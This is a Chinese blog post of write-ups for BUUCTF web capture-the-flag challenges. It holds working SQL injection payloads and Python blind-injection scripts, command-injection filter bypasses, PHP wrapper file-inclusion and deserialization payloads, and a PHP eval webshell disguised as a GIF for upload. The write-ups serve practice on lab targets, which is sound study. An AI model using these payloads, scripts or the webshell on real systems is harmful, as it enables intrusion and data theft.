BUUCTF_web部分題解

前言

閒來無事,刷一刷BUUCTF的題目,記錄一下
[極客大挑戰 2019]Havefun
[CISCN2019 華北賽區 Day2 Web1]Hack World
[極客大挑戰 2019]Secret File
[極客大挑戰 2019]Knife
[極客大挑戰 2019]LoveSQL
[極客大挑戰 2019]Http
[GXYCTF2019]Ping Ping Ping
[極客大挑戰 2019]BabySQL
[極客大挑戰 2019]BuyFlag
[ZJCTF 2019]NiZhuanSiWei
[ACTF2020 新生賽]Include
[ACTF2020 新生賽]Exec
[極客大挑戰 2019]Upload
[BJDCTF 2nd]簡單注入
[ACTF2020 新生賽]BackupFile

[極客大挑戰 2019]Havefun

點擊鏈接,進入
在這裏插入圖片描述
乍一看,也沒什麼思路,看看源代碼
在代碼最後看到了這樣一段註釋的代碼(php)在這裏插入圖片描述

<?php
$cat = $GET['cat'] #GET傳遞參數cat並賦值給cat變量
echo $cat;  	   #輸出cat變量的內容
if($cat == 'dog'){ #如果cat變量的內容等於dog就輸出Syc{cat_cat_cat_cat}
	echo 'Syc{cat_cat_cat_cat}';
}
?>

這麼分析了一下還是很簡單的,故
payload:?cat=dog
在這裏插入圖片描述

[CISCN2019 華北賽區 Day2 Web1]Hack World

首先進入題目,看到
在這裏插入圖片描述
很明顯的提示了,flag在flag表的flag字段
這個題目我看了下源代碼,過濾了很多函數

$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./'); 

但是並沒有過濾substr(),ascii(),這裏我們可以使用盲注。
而or and這些卻被過濾了,參考其他大佬的文章,這裏使用異或,雖然從來沒有接觸過,不過今天接觸了一下就記錄一下吧
手工當然非常麻煩,所以還是上腳本

import requests
flag = ''
url="http://868ea552-5ca5-4b23-9a7d-f454af6ad5e1.node3.buuoj.cn/"
for i in range(1,50):            #循環50次
    lmin = 33                    #最小值ASCII
    lmax = 127                   #最大值ASCII
    while lmax-lmin > 1:    #While循環:當lmax-lmin的大於一時,也就是說等於一就結束循環
        mid = (lmax + lmin) // 2 #中值
        print("mid: ",mid)
        # 假如flag第一位的ASCII是81,而中值是80,那麼從邏輯上看,就會將中值賦值給最小值
        # 現在最小值就是中值,再次經歷一次循環,此時中值就是103,由於flag的ASCII是81,所以將中值賦值給最大值
        # 直到最小值減最大值的絕對值大於一,輸出flag的第一位
        payload = "0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
        '''
        data = {"id":payload} #這一段程序可以用下面一句話總結
        res = requests.post(url,data=data)
        print(payload)
        if "Hello" in res.text:
        '''
        # 如果符合條件,將中值賦給最小值,否則賦給最大值
        if requests.post(url,data={"id":payload}).text.find("Hello")>1:
            lmin = mid
        else:
            lmax = mid
            print("lmax: ",lmax)
    flag += chr(lmin+1)
print(flag)

總結一下,對於SQL還是需要拓寬一下思路,這裏使用了二分法,如果不使用二分法,暴力也是可取的,只不過是時間問題。

[極客大挑戰 2019]Secret File

打開網頁
在這裏插入圖片描述
熟悉的套路,看看源碼
在這裏插入圖片描述
點擊鏈接
在這裏插入圖片描述
點擊SECRET
在這裏插入圖片描述
???我他喵還沒看到
話不多說burp抓包
在這裏插入圖片描述
可以看到有一個提示secr3t.php,訪問
在這裏插入圖片描述

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php裏
?>

這裏有幾個函數
strstr() strstr() 函數搜索字符串在另一字符串中的第一次出現。
stristr() 這個和strstr函數作用差不多,只不過對大小寫不敏感
很明顯的是一個文件包含,它過濾了一些參數,這裏我們可以使用php僞協議filter讀取flag.php文件的源代碼

故payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

在這裏插入圖片描述
複製下來進行base64轉碼就可以得到頁面的源代碼
在這裏插入圖片描述
得到flag

[極客大挑戰 2019]Knife

打開網頁
如題目所說,真的是白給的shell
在這裏插入圖片描述
這太明顯了
蟻劍上
在這裏插入圖片描述

在這裏插入圖片描述
一鍵獲取flag
cat /flag
在這裏插入圖片描述

[極客大挑戰 2019]LoveSQL

打開網頁,測試了一下發現是字符型注入
相對於來說較爲容易,那麼這裏我就直接給出payload

判斷字段

/check.php?username=admin%27order by 3%23&password=admin

判斷版本和數據庫

/check.php?username=admin%27union select 1,version(),database()%23&password=admin

判斷表名,通過limit關鍵字確定有倆個表名

/check.php?username=admin%27union select 1,unhex(Hex(cast(table_name as char))),3 from information_schema.tables where table_schema='geek'%23&password=admin

判斷字段名,username和password

/check.php?username=admin%27union select 1,unhex(Hex(cast(column_name as char))),3 from information_schema.columns where table_name='love1ysq1'%23&password=admin

爆出flag

/check.php?username=1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from geek.l0ve1ysq1 %23&password=1

[極客大挑戰 2019]Http

打開網頁
在這裏插入圖片描述
啥都沒有,看看源碼
在這裏插入圖片描述
確實隱藏的很好
訪問之後在這裏插入圖片描述
這個很明顯,需要添加一個Referer頭
開burp
在這裏插入圖片描述
在這裏插入圖片描述
返回包
在這裏插入圖片描述
故添加
在這裏插入圖片描述
在這裏插入圖片描述
這裏就需要添加一個XFF頭
在這裏插入圖片描述
得到flag
在這裏插入圖片描述

[GXYCTF2019]Ping Ping Ping

打開網頁
在這裏插入圖片描述
很明顯提示我們得在url後面加上這麼一個玩意
而ip又很容易讓人聯想ip地址,那麼咱們就寫一個127.0.0.1
在這裏插入圖片描述
很明顯的一個命令執行
那麼就構造

payload:/?ip=127.0.0.1;ls

在這裏插入圖片描述
看到有個flag.php和index.php,可以使用cat flag.php查看
那麼這裏就構造

payload:/?ip=127.0.0.1;cat flag.php

在這裏插入圖片描述
發現空格好像被過濾了,FUZZ一下決定還是使用$IFS$1進行繞過。
先看看index.php的源代碼,構造

payload:/?ip=127.0.0.1;cat$IFS$1index.php

index.php網頁源代碼

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>

故可以構造

payload:/?ip=127.0.0.1;a=f;b=g;c=la;cat$IFS$1$a$c$b.php

or

payload:/?ip=127.0.0.1;cat$IFS$1`ls`

這裏是借鑑了其他師傅的payload,也算是給自己漲漲見識吧。

[極客大挑戰 2019]BabySQL

打開網頁
在這裏插入圖片描述
想必這次肯定是有過濾的
簡單測試下

/check.php
?username=admin
&password=admin' order by 1# 

在這裏插入圖片描述
發現password字段存在注入,可or沒了
嘗試是否可以雙寫繞過

/check.php
?username=admin
&password=-admin' oorrder bbyy 3--+

查看注入點

/check.php
?username=admin
&password=-admin' uunionnion seselectlect 1,2,3--+

判斷數據庫名

/check.php
?username=admin
&password=-admin' uunionnion seselectlect 1,database(),3--+

判斷表名

/check.php
?username=admin
&password=-admin' uunionnion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema = database()--+

判斷字段名

/check.php
?username=admin
&password=-admin' uunionnion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name = 'b4bsql'--+

flag

/check.php
?username=admin
&password=-admin' uunionnion seselectlect 1,group_concat(concat_ws(0x7e,username,passwoorrd)),3 frfromom b4bsql--+

[極客大挑戰 2019]BuyFlag

打開網站
在這裏插入圖片描述
也沒看到什麼有效信息,看看右上角有個menu,裏面有個payflag
在這裏插入圖片描述
老規矩。看看源代碼
在這裏插入圖片描述
POST兩個參數money和password
這個時候我們需要打開burp
發送一個POST請求給pay.php
在這裏插入圖片描述
變更請求方法
在這裏is_numeric()函數有個漏洞,使得我們可以繞過。

is_numeric()函數是判斷變量是否是數字或者數字字符串,不僅檢查10進制,16進制也可以.
is_numeric()對於空字符%00,不論%00放在數字前後,都會返回false,對於%20,只有放在數字後纔會返回false.

所以我們構造

payload:password=404%00&money=100000000

在這裏插入圖片描述
而我們觀察到
在這裏插入圖片描述
這個地方以直覺來看,肯定是要改爲1的
在這裏插入圖片描述
而返回包
在這裏插入圖片描述
這麼一看來,肯定是money參數的值太長了,這個地方得繞過一下、
這裏我們構造

payload:password=404%00&money[]=1

得到flag
在這裏插入圖片描述

[ZJCTF 2019]NiZhuanSiWei

打開網頁

<?php   
$text = $_GET["text"]; 
$file = $_GET["file"]; 
$password = $_GET["password"]; 
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ 
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; 
    if(preg_match("/flag/",$file)){ 
        echo "Not now!"; 
        exit();  
    }else{ 
        include($file);  //useless.php 
        $password = unserialize($password); 
        echo $password; 
    } 
} 
else{ 
    highlight_file(__FILE__); 
} 
?>

分析

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
file_get_contents() 函數把整個文件讀入一個字符串中。

所以這個地方可以使用
php://input僞協議
或者
data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
故給出

#php://input
payload:text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
#data://
payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解碼後讀取出useless.php源碼

<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  
#根據源代碼,進行本地序列化
<?php  
class Flag{  //flag.php  
    public $file = 'flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$password = new Flag();
$password = serialize($password);
echo $password;
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

故最終

payload:data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在這裏插入圖片描述
查看頁面源代碼即可獲得flag

[ACTF2020 新生賽]Include

打開網頁
在這裏插入圖片描述
點擊鏈接
在這裏插入圖片描述
此時觀察URL
在這裏插入圖片描述
很明顯是一個文件包含,而且題目也提示是include
所以這裏我們使用php://filter僞協議讀取flag.php的源代碼

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

在這裏插入圖片描述
base64解碼即可得flag

[ACTF2020 新生賽]Exec

打開網頁
在這裏插入圖片描述
很明顯的命令執行
payload:127.0.0.1|ls
在這裏插入圖片描述

最終

payload:127.0.0.1| cat /flag

[極客大挑戰 2019]Upload

打開網頁
很明顯是一個文件上傳
這時候我們準備好一個webshell

後綴繞過
php,php3,php4,php5,phtml.pht

一句話

GIF89a
<script language="PHP">
@eval($_POST['cmd']);
</script>

製作一個webshell.phtml進行上傳
MIME類型檢測繞過
將text/php修改爲image/jpeg
在這裏插入圖片描述
打開蟻劍連接,然後cat /flag
在這裏插入圖片描述

[BJDCTF 2nd]簡單注入

這裏貼出一個自己的腳本吧,會寫盲註腳本但是不懂怎麼快速構造語句,哭了,還得努力。

import requests
url = "http://97e723eb-aaa8-4f2a-b274-b40fbeaccf3f.node3.buuoj.cn/index.php"
data = {"username":"admin\\",
        "password":""}
result = ""
for i in range(1,20):
    lmax = 127
    lmin = 33
    while lmax-lmin > 1:
        mid=(lmax+lmin) //2
        payload = "or/**/if(ascii(substr(password,{0},1))>{1},1,0)#".format(i, mid)
        data['password'] = payload
        res = requests.post(url,data=data)
        if res.text.find("stronger") > 1:
            lmin = mid
        else:
            lmax = mid
    result += chr(lmax)
print(result.replace(chr(lmin+1),''))

[ACTF2020 新生賽]BackupFile

打開網頁
在這裏插入圖片描述
找備份源碼
一開始我以爲是找www.zip和backup這些等等,沒想到最後卻是index.php.bak
下載源碼打開

<?php
include_once "flag.php";
if(isset($_GET['key'])) { 
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

首先需要GET傳遞一個key值並且要與123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
由於int和string類型是無法直接比較的,故php會將string類型轉換爲int類型進行比較,而轉換int類型後只保留數字也就是123,故

payload:?key=123
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章